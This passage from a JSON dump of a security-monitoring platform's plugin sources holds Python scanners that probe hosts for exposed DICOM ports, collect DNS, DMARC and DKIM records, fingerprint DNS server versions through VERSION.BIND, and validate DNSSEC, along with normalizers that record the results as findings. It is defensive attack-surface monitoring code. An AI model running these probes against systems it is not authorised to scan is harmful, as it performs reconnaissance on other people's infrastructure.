    "content": "import json\nimport logging\n\nfrom pynetdicom import AE\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip = input_[\"address\"]\n\n    # it prints errors if the port is not open, ignore these errors as we expect them to happen a lot\n    logging.getLogger(\"pynetdicom\").setLevel(logging.CRITICAL)\n\n    # An AE is an Application Entity, a DICOM specific thing\n    ae = AE()\n\n    # Context is a DICOM term used to define the content and encoding of data (like a DICOM dataset)\n    # This specific context is used to verify a Service-Object Pair (SOP) class - basically connection establishment\n    ae.add_requested_context(\"1.2.840.10008.1.1\")\n\n    # Default ports\n    ports = (11112, 104, 2761, 2762)\n    results: dict[str, list[int]] = {\"open_ports\": []}\n\n    # Attempt to establish connection and post result\n    for port in ports:\n        assoc = ae.associate(ip, port)\n\n        if assoc.is_established:\n            assoc.release()\n            results[\"open_ports\"].append(port)\n        else:\n            assoc.abort()\n\n    ae.remove_requested_context(\"1.2.840.10008.1.1\")\n\n    return [(set(), json.dumps(results))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPPort, PortState, Protocol\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n\n    for port in results[\"open_ports\"]:\n        ip_port_ooi = IPPort(address=ooi, protocol=Protocol(\"tcp\"), port=int(port), state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        software_ooi = Software(name=\"DICOM\")\n        yield software_ooi\n        software_instance_ooi = SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        yield software_instance_ooi\n\n        kat_ooi = KATFindingType(id=\"KAT-DICOM-EXPOSED\")\n        yield kat_ooi\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=software_instance_ooi.reference,\n            description=\"A DICOM (Digital Imaging and Communications in Medicine) server is exposed to the internet.\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/normalizer.json",
    "content": "{\n  \"id\": \"kat_dicom_normalize\",\n  \"name\": \"DICOM servers\",\n  \"description\": \"Parses medical imaging data (DICOM) into findings and identified software.\",\n  \"consumes\": [\n    \"boefje/dicom\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/requirements.txt",
    "content": "pynetdicom == 2.0.2\npydicom == 2.4.5\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/boefje.json",
    "content": "{\n  \"id\": \"dns-records\",\n  \"name\": \"DNS records\",\n  \"description\": \"Fetch the DNS record(s) of a hostname.\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_dns.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/description.md",
    "content": "# DNS\n\nThe DNS lookup tool fetches all the DNS records for a domain. To do that it uses the dsnpython package. Currently, only\nA, AAAA, and MX records are modelled.\n\n### Input OOIs\n\nDNS scan expects a Hostname object as input.\n\n### Output OOIs\n\nFierce outputs the following OOIs:\n\n| OOI type  | Description                                                                                             |\n| --------- | ------------------------------------------------------------------------------------------------------- |\n| Hostname  | Hostnames of nameservers of input OOI, one of which will be the the SOA                                 |\n| DnsZone   | DnsZone of the input OOI, found nameservers will be added as DnsNameServerHostnames                     |\n| IpAddress | IpAddresses of input Hostname, can be IpAddressV4 or IpAddressV6                                        |\n| DnsRecord | DnsRecord that couples the input Hostname to the output IpAddresses, can be DnsARecord or DnsAaaaRecord |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/main.py",
    "content": "\"\"\"Boefje script for getting dns records\"\"\"\n\nimport json\nimport logging\nimport re\nfrom os import getenv\n\nimport dns.resolver\nfrom dns.edns import EDEOption\nfrom dns.name import Name\nfrom dns.resolver import Answer\n\nlogger = logging.getLogger(__name__)\nDEFAULT_RECORD_TYPES = {\"A\", \"AAAA\", \"CAA\", \"CERT\", \"RP\", \"SRV\", \"TXT\", \"MX\", \"NS\", \"CNAME\", \"DNAME\", \"SOA\"}\n\n\nclass TimeoutException(Exception):\n    pass\n\n\nclass ZoneNotFoundException(Exception):\n    pass\n\n\ndef get_record_types() -> set[str]:\n    requested_record_types = getenv(\"RECORD_TYPES\", \"\")\n    if not requested_record_types:\n        return DEFAULT_RECORD_TYPES\n    parsed_requested_record_types = map(\n        lambda x: re.sub(r\"[^A-Za-z]\", \"\", x), requested_record_types.upper().split(\",\")\n    )\n    return set(parsed_requested_record_types).intersection(DEFAULT_RECORD_TYPES)\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    hostname = boefje_meta[\"arguments\"][\"input\"][\"name\"]\n\n    requested_dns_name = dns.name.from_text(hostname)\n    resolver = dns.resolver.Resolver()\n    # https://dnspython.readthedocs.io/en/stable/_modules/dns/edns.html\n    # enable EDE to get the DNSSEC Bogus return values if the server supports it # codespell-ignore\n    resolver.use_edns(options=[EDEOption(15)])\n    nameserver = getenv(\"REMOTE_NS\", \"1.1.1.1\")\n    resolver.nameservers = [nameserver]\n\n    record_types = get_record_types()\n    answers = [get_parent_zone_soa(resolver, requested_dns_name)] if \"SOA\" in record_types else []\n\n    for type_ in record_types:\n        try:\n            answer: Answer = resolver.resolve(hostname, type_)\n            answers.append(answer)\n        except (dns.resolver.NoAnswer, dns.resolver.Timeout):\n            pass\n        except dns.resolver.NXDOMAIN:\n            return [(set(), \"NXDOMAIN\")]\n\n    answers_formatted = [f\"RESOLVER: {answer.nameserver}\\n{answer.response}\" for answer in answers]\n\n    results = {\n        \"dns_records\": \"\\n\\n\".join(answers_formatted),\n        \"dmarc_response\": get_email_security_records(resolver, hostname, \"_dmarc\"),\n        \"dkim_response\": get_email_security_records(resolver, hostname, \"_domainkey\"),\n    }\n    if not answers_formatted and results[\"dmarc_response\"] == \"Timeout\" and results[\"dmarc_response\"] == \"Timeout\":\n        raise TimeoutException(\"No answers from DNS-Server due to timeouts.\")\n    return [(set(), json.dumps(results))]\n\n\ndef get_parent_zone_soa(resolver: dns.resolver.Resolver, name: Name) -> Answer:\n    while True:\n        try:\n            return resolver.resolve(name, dns.rdatatype.SOA)\n        except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):\n            pass\n\n        try:\n            name = name.parent()\n        except dns.name.NoParent:\n            raise ZoneNotFoundException\n\n\ndef get_email_security_records(resolver: dns.resolver.Resolver, hostname: str, record_subdomain: str) -> str:\n    try:\n        answer = resolver.resolve(f\"{record_subdomain}.{hostname}\", \"TXT\", raise_on_no_answer=False)\n        return answer.response.to_text()\n    except dns.resolver.NoNameservers as error:\n        # no servers responded happily, we'll check the response from the first\n        # https://dnspython.readthedocs.io/en/latest/_modules/dns/rcode.html\n        # https://www.rfc-editor.org/rfc/rfc8914#name-extended-dns-error-code-6-d\n        firsterror = error.kwargs[\"errors\"][0]\n        if firsterror[3] == \"SERVFAIL\":\n            edeerror = int(firsterror[4].options[0].code)\n            if edeerror in (1, 2, 5, 6, 7, 8, 9, 10, 11, 12):  # DNSSEC error codes defined in RFC 8914\n                return \"DNSSECFAIL\"  # returned when the resolver indicates a DNSSEC failure.\n        raise  # Not dnssec related, unhandled, raise.\n    except dns.resolver.NXDOMAIN:\n        return \"NXDOMAIN\"\n    except dns.resolver.Timeout:\n        return \"Timeout\"\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/normalize.py",
    "content": "import json\nimport re\nfrom collections.abc import Iterable\nfrom ipaddress import IPv4Address, IPv6Address\n\nfrom dns.message import Message, from_text\nfrom dns.rdtypes.ANY.CAA import CAA\nfrom dns.rdtypes.ANY.CNAME import CNAME\nfrom dns.rdtypes.ANY.MX import MX\nfrom dns.rdtypes.ANY.NS import NS\nfrom dns.rdtypes.ANY.SOA import SOA\nfrom dns.rdtypes.ANY.TXT import TXT\nfrom dns.rdtypes.IN.A import A\nfrom dns.rdtypes.IN.AAAA import AAAA\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.records import (\n    NXDOMAIN,\n    DNSAAAARecord,\n    DNSARecord,\n    DNSCAARecord,\n    DNSCNAMERecord,\n    DNSMXRecord,\n    DNSNSRecord,\n    DNSRecord,\n    DNSSOARecord,\n    DNSTXTRecord,\n)\nfrom octopoes.models.ooi.dns.zone import DNSZone, Hostname\nfrom octopoes.models.ooi.email_security import DKIMExists, DMARCTXTRecord\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    internet = Network(name=\"internet\")\n\n    zone = None\n    hostname_store: dict[str, Hostname] = {}\n    record_store: dict[str, DNSRecord] = {}\n\n    def register_hostname(name: str) -> Hostname:\n        hostname = Hostname(network=internet.reference, name=name.rstrip(\".\"))\n        hostname_store[hostname.name] = hostname\n        return hostname\n\n    def register_record(record: DNSRecord) -> DNSRecord:\n        record_store[record.reference] = record\n        return record\n\n    # register argument hostname\n    input_hostname = register_hostname(input_ooi[\"name\"])\n    if raw.decode() == \"NXDOMAIN\":\n        yield NXDOMAIN(hostname=Reference.from_str(input_ooi[\"primary_key\"]))\n        return\n\n    results = json.loads(raw)\n\n    # parse raw data into dns.response.Message\n    sections = results[\"dns_records\"].split(\"\\n\\n\")\n    responses: list[Message] = []\n    for section in sections:\n        lines = section.split(\"\\n\")\n        responses.append(from_text(\"\\n\".join(lines[1:])))\n\n    # keep track of discovered zones\n    zone_links: dict[str, DNSZone] = {}\n\n    for response in responses:\n        for rrset in response.answer:\n            for rr in rrset:\n                record_hostname = register_hostname(str(rrset.name))\n                default_args = {\"hostname\": record_hostname.reference, \"value\": str(rr), \"ttl\": rrset.ttl}\n\n                # the soa is the zone of itself, and the argument hostname\n                if isinstance(rr, SOA):\n                    zone = DNSZone(hostname=record_hostname.reference)\n                    zone_links[record_hostname.name] = zone\n                    zone_links[input_hostname.name] = zone\n\n                    soa = DNSSOARecord(\n                        serial=rr.serial,\n                        refresh=rr.refresh,\n                        retry=rr.retry,\n                        expire=rr.expire,\n                        minimum=rr.minimum,\n                        soa_hostname=register_hostname(str(rr.mname)).reference,\n                        **default_args,\n                    )\n                    yield soa\n\n                if isinstance(rr, A):\n                    ipv4 = IPAddressV4(network=internet.reference, address=IPv4Address(str(rr)))\n                    yield ipv4\n                    register_record(DNSARecord(address=ipv4.reference, **default_args))\n\n                if isinstance(rr, AAAA):\n                    ipv6 = IPAddressV6(network=internet.reference, address=IPv6Address(str(rr)))\n                    yield ipv6\n                    register_record(DNSAAAARecord(address=ipv6.reference, **default_args))\n\n                if isinstance(rr, TXT):\n                    # TODO: concatenated txt records should be handled better\n                    # see https://www.rfc-editor.org/rfc/rfc1035 3.3.14\n                    default_args[\"value\"] = str(rr).strip('\"').replace('\" \"', \"\")\n                    register_record(DNSTXTRecord(**default_args))\n\n                if isinstance(rr, MX):\n                    mail_hostname_reference = None\n                    if str(rr.exchange) != \".\":\n                        mail_fqdn = register_hostname(str(rr.exchange))\n                        mail_hostname_reference = mail_fqdn.reference\n\n                    register_record(\n                        DNSMXRecord(mail_hostname=mail_hostname_reference, preference=rr.preference, **default_args)\n                    )\n\n                if isinstance(rr, NS):\n                    ns_fqdn = register_hostname(str(rr.target))\n                    register_record(DNSNSRecord(name_server_hostname=ns_fqdn.reference, **default_args))\n\n                if isinstance(rr, CNAME):\n                    target_fqdn = register_hostname(str(rr.target))\n                    register_record(DNSCNAMERecord(target_hostname=target_fqdn.reference, **default_args))\n\n                if isinstance(rr, CAA):\n                    record_value = str(rr).split(\" \", 2)\n                    default_args[\"flags\"] = min(max(0, int(record_value[0])), 255)\n                    default_args[\"tag\"] = re.sub(\"[^\\\\w]\", \"\", record_value[1].lower())\n                    default_args[\"value\"] = record_value[2]\n                    register_record(DNSCAARecord(**default_args))\n\n    # link the hostnames to their discovered zones\n    for hostname_, zone in zone_links.items():\n        hostname_store[hostname_].dns_zone = zone.reference\n\n    if zone:\n        yield zone\n    yield from hostname_store.values()\n    yield from record_store.values()\n\n    # DKIM\n    dkim_results = results[\"dkim_response\"]\n    if dkim_results not in [\"NXDOMAIN\", \"Timeout\", \"DNSSECFAIL\"] and dkim_results.split(\"\\n\")[2] == \"rcode NOERROR\":\n        yield DKIMExists(hostname=input_hostname.reference)\n\n    # DMARC\n    dmarc_results = results[\"dmarc_response\"]\n    if dmarc_results not in [\"NXDOMAIN\", \"Timeout\"]:\n        for rrset in from_text(dmarc_results).answer:\n            for rr in rrset:\n                if isinstance(rr, TXT):\n                    yield DMARCTXTRecord(hostname=input_hostname.reference, value=str(rr).strip('\"'), ttl=rrset.ttl)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/normalizer.json",
    "content": "{\n  \"id\": \"kat_dns_normalize\",\n  \"name\": \"DNS records\",\n  \"description\": \"Parses DNS records. Can parse A, AAAA, CAA, CNAME, MX, NS, SOA, TXT, DKIM and DMARC data.\",\n  \"consumes\": [\n    \"boefje/dns-records\"\n  ],\n  \"produces\": [\n    \"IPAddressV6\",\n    \"DNSARecord\",\n    \"DNSNSRecord\",\n    \"DNSTXTRecord\",\n    \"DNSSOARecord\",\n    \"NXDOMAIN\",\n    \"DNSCNAMERecord\",\n    \"DNSMXRecord\",\n    \"Hostname\",\n    \"Network\",\n    \"DNSAAAARecord\",\n    \"IPAddressV4\",\n    \"DNSZone\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/requirements.txt",
    "content": "dnspython==2.6.1\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"RECORD_TYPES\": {\n      \"title\": \"RECORD_TYPES\",\n      \"type\": \"string\",\n      \"description\": \"List of comma separated DNS record types to query for.\",\n      \"default\": \"A,AAAA,CAA,CERT,RP,SRV,TXT,MX,NS,CNAME,DNAME\"\n    },\n    \"REMOTE_NS\": {\n      \"title\": \"REMOTE_NS\",\n      \"maxLength\": 45,\n      \"type\": \"string\",\n      \"description\": \"The IP address of the DNS resolver you want to use.\",\n      \"default\": \"1.1.1.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/boefje.json",
    "content": "{\n  \"id\": \"dns-bind-version\",\n  \"name\": \"DNS software version\",\n  \"description\": \"Uses the DNS VERSION.BIND command to attempt to learn the servers software.\",\n  \"consumes\": [\n    \"IPService\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_dns_version.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/description.md",
    "content": "# Fetch DNS Server software version\n\nThis boefje tries to detect the DNS Server version by doing a VERSION.BIND call.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/main.py",
    "content": "\"\"\"Boefje script for getting namserver version\"\"\"\n\nimport json\nfrom os import getenv\n\nimport dns\nimport dns.message\nimport dns.query\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, str | bytes]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]  # input is IPService\n    if input_[\"service\"][\"name\"] != \"domain\":\n        return [({\"openkat/deschedule\"}, \"Not a DNS service\")]\n\n    ip_port = input_[\"ip_port\"]\n    ip = ip_port[\"address\"][\"address\"]\n    port = int(ip_port[\"port\"])\n    protocol = ip_port[\"protocol\"]\n\n    timeout = float(getenv(\"TIMEOUT\", 30))\n\n    method = dns.query.udp if protocol == \"udp\" else dns.query.tcp\n\n    queries = [\n        dns.message.make_query(\"VERSION.BIND\", dns.rdatatype.TXT, dns.rdataclass.CHAOS),\n        dns.message.make_query(\"VERSION.SERVER\", dns.rdatatype.TXT, dns.rdataclass.CHAOS),\n    ]\n\n    results = []\n    for query in queries:\n        response = method(query, where=ip, timeout=timeout, port=port)\n\n        try:\n            answer = response.answer[0]\n            results.append(answer.to_rdataset().pop().strings[0].decode())\n        except IndexError:\n            pass\n\n    return [(set(), json.dumps(results))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    input_ooi_reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    results = json.loads(raw)\n    for version in results:\n        if version.startswith(\"bind\"):\n            name = \"bind\"\n            version_number = version.split(\"-\")[1]\n        elif version.startswith(\"9.\"):\n            name = \"bind\"\n            version_number = version\n        elif version.startswith(\"Microsoft DNS\"):\n            name = \"Microsoft DNS\"\n            version_number = version.replace(\"Microsoft DNS \", \"\").split(\" \")[0]\n        elif version.startswith(\"dnsmasq\"):\n            name = \"dnsmasq\"\n            version_number = version.split(\"-\")[1]\n        elif version.startswith(\"PowerDNS\"):\n            name = \"PowerDNS\"\n            version_number = version.replace(\"PowerDNS Authoritative Server \", \"\").split(\" \")[0]\n        else:\n            name = None\n            version_number = None\n\n        if name and version_number:\n            software = Software(name=name, version=version_number)\n            software_instance = SoftwareInstance(ooi=input_ooi_reference, software=software.reference)\n            yield from [software, software_instance]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/normalizer.json",
    "content": "{\n  \"id\": \"dns-bind-version-normalize\",\n  \"name\": \"DNS bind version normalizer\",\n  \"description\": \"Parses DNS Bind data into Software version objects.\",\n  \"consumes\": [\n    \"boefje/dns-bind-version\"\n  ],\n  \"produces\": [\n    \"Software\",\n    \"SoftwareInstance\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_version/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"TIMEOUT\": {\n      \"title\": \"TIMEOUT\",\n      \"type\": \"integer\",\n      \"description\": \"Timeout for requests to the targeted dns servers\",\n      \"default\": 30,\n      \"minimum\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/boefje.json",
    "content": "{\n  \"id\": \"dns-zone\",\n  \"name\": \"DNS zone\",\n  \"description\": \"Fetch the parent DNS zone of a DNS zone.\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_dns_zone.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/description.md",
    "content": "# DNS\n\nThe DNS lookup tool fetches all the DNS records for a domain. To do that it uses the dsnpython package. Currently, only\nA, AAAA, and MX records are modelled.\n\n### Input OOIs\n\nDNS scan expects a Hostname object as input.\n\n### Output OOIs\n\nDNS outputs the following OOIs:\n\n| OOI type  | Description                                                                                             |\n| --------- | ------------------------------------------------------------------------------------------------------- |\n| Hostname  | Hostnames of nameservers of input OOI, one of which will be the the SOA                                 |\n| DnsZone   | DnsZone of the input OOI, found nameservers will be added as DnsNameServerHostnames                     |\n| IpAddress | IpAddresses of input Hostname, can be IpAddressV4 or IpAddressV6                                        |\n| DnsRecord | DnsRecord that couples the input Hostname to the output IpAddresses, can be DnsARecord or DnsAaaaRecord |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/main.py",
    "content": "\"\"\"Boefje script for getting dns records\"\"\"\n\nimport logging\n\nimport dns.resolver\nfrom dns.name import Name\nfrom dns.resolver import Answer\n\nlogger = logging.getLogger(__name__)\n\n\nclass ZoneNotFoundException(Exception):\n    pass\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    zone_ooi = input_[\"hostname\"][\"name\"]\n\n    zone_name = dns.name.from_text(zone_ooi)\n\n    zone_parent = zone_name.parent()\n    zone_soa_record = get_parent_zone_soa(zone_parent)\n\n    answers = [zone_soa_record]\n    answers_formatted = [f\"RESOLVER: {answer.nameserver}\\n{answer.response}\" for answer in answers]\n\n    return [(set(), \"\\n\\n\".join(answers_formatted))]\n\n\ndef get_parent_zone_soa(name: Name) -> Answer:\n    while True:\n        try:\n            return dns.resolver.resolve(name, dns.rdatatype.SOA)\n        except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):\n            pass\n\n        try:\n            name = name.parent()\n        except dns.name.NoParent:\n            raise ZoneNotFoundException\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom dns.message import Message, from_text\nfrom dns.rdtypes.ANY.SOA import SOA\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.dns.records import DNSSOARecord\nfrom octopoes.models.ooi.dns.zone import DNSZone, Hostname\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    internet = Network(name=\"internet\")\n\n    # parse raw data into dns.message.Message\n    section = raw.decode()\n    lines = section.split(\"\\n\")\n    message: Message = from_text(\"\\n\".join(lines[1:]))\n\n    input_zone_hostname = Hostname(network=internet.reference, name=input_ooi[\"hostname\"][\"name\"])\n\n    input_zone = DNSZone(hostname=input_zone_hostname.reference)\n\n    for rrset in message.answer:\n        for rr in rrset:\n            if isinstance(rr, SOA):\n                parent_zone_hostname = Hostname(network=internet.reference, name=str(rrset.name).rstrip(\".\"))\n                parent_zone = DNSZone(hostname=parent_zone_hostname.reference)\n                parent_zone_hostname.dns_zone = parent_zone.reference\n\n                input_zone.parent = parent_zone.reference\n\n                soa_hostname = Hostname(network=internet.reference, name=str(rr.mname).rstrip(\".\"))\n\n                yield DNSSOARecord(\n                    hostname=parent_zone_hostname.reference,\n                    value=str(rr),\n                    ttl=rrset.ttl,\n                    soa_hostname=soa_hostname.reference,\n                    serial=rr.serial,\n                    retry=rr.retry,\n                    refresh=rr.refresh,\n                    expire=rr.expire,\n                    minimum=rr.minimum,\n                )\n                yield soa_hostname\n                yield input_zone\n                yield parent_zone_hostname\n                yield parent_zone\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/normalizer.json",
    "content": "{\n  \"id\": \"kat_dns_zone_normalize\",\n  \"name\": \"DNS zone\",\n  \"description\": \"Parses the parent DNS zone into new hostnames and DNS zones.\",\n  \"consumes\": [\n    \"boefje/dns-zone\"\n  ],\n  \"produces\": [\n    \"Hostname\",\n    \"DNSZone\",\n    \"DNSSOARecord\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dns_zone/requirements.txt",
    "content": "dnspython==2.6.1\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/dns-sec:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update && apt-get install -y --no-install-recommends ldnsutils dnsutils dns-root-data\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_dnssec ./kat_dnssec\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/boefje.json",
    "content": "{\n  \"id\": \"dns-sec\",\n  \"name\": \"DNSSEC\",\n  \"description\": \"Validates DNSSEC of a hostname by checking the cryptographic signatures.\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-dns-sec:latest\"\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/description.md",
    "content": "The Domain Name System Security Extensions (DNSSEC) is a suite of extension specifications by the Internet Engineering Task Force (IETF) for securing data exchanged in the Domain Name System (DNS) in Internet Protocol (IP) networks. The protocol provides cryptographic authentication of data, authenticated denial of existence, and data integrity, but not availability or confidentiality.\n\n**Cat name**: Joep III\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/main.py",
    "content": "import re\nimport subprocess\n\n\ndef run_drill(domain: str, record_type: str) -> bytes:\n    cmd = [\"/usr/bin/drill\", \"-DT\", domain, record_type]\n\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n    return output.stdout\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    domain = input_[\"name\"]\n\n    # check for string pollution in domain. This check will fail if anything other characters than a-zA-Z0-9_.- are\n    # present in the hostname\n    if not re.search(r\"^[\\w.]+[\\w\\-.]+$\", domain.lower()):\n        raise ValueError(\n            \"This domain contains prohibited characters. Are you sure you are not trying to add a url instead of a \"\n            \"hostname?\"\n        )\n\n    output = run_drill(domain, \"A\")\n    if f\"[U] No data found for: {domain}. type A\".encode() in output:\n        output = run_drill(domain, \"CNAME\")\n        if f\"[U] No data found for: {domain}. type CNAME\".encode() in output:\n            output = run_drill(domain, \"AAAA\")\n\n    return [({\"openkat/dnssec-output\"}, output)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    result = raw.decode()\n\n    ooi_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n    # Find the last status line (not just the last non-comment line)\n    for result_line in reversed(result.splitlines()):\n        if result_line.startswith((\"[U]\", \"[S]\", \"[B]\", \"[T]\")):\n            break\n    else:\n        raise ValueError(\"No status line found in drill output\")\n\n    # [S] self sig OK; [B] bogus; [T] trusted; [U] unsigned\n    if result_line.startswith(\"[U]\"):\n        ft = KATFindingType(id=\"KAT-NO-DNSSEC\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=ooi_ref,\n            description=f\"Domain {ooi_ref.human_readable} is not signed with DNSSEC.\",\n        )\n        yield ft\n        yield finding\n    elif result_line.startswith(\"[S]\") or result_line.startswith(\"[B]\"):\n        ft = KATFindingType(id=\"KAT-INVALID-DNSSEC\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=ooi_ref,\n            description=f\"Domain {ooi_ref.human_readable} is signed with an invalid DNSSEC.\",\n        )\n        yield ft\n        yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dnssec/normalizer.json",
    "content": "{\n  \"id\": \"kat_dnssec_normalize\",\n  \"name\": \"DNS records\",\n  \"description\": \"Parses DNSSEC data into findings.\",\n  \"consumes\": [\n    \"boefje/dns-sec\",\n    \"openkat/dnssec-output\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"Finding\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/export-http:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nCOPY ./boefjes/plugins/kat_export_http ./kat_export_http\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/boefje.json",
    "content": "{\n  \"id\": \"export-to-http-api\",\n  \"name\": \"Export To HTTP API\",\n  \"description\": \"Exports the Input OOI to the configured HTTP api, configure by copying this Boefje, and provinding Input OOIs of your choice. Limit Exported Objects by selecting an appropriate Scan Level.\",\n  \"consumes\": [],\n  \"scan_level\": 4,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-export-http:latest\",\n  \"run_on\": [\n    \"create\",\n    \"update\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/description.md",
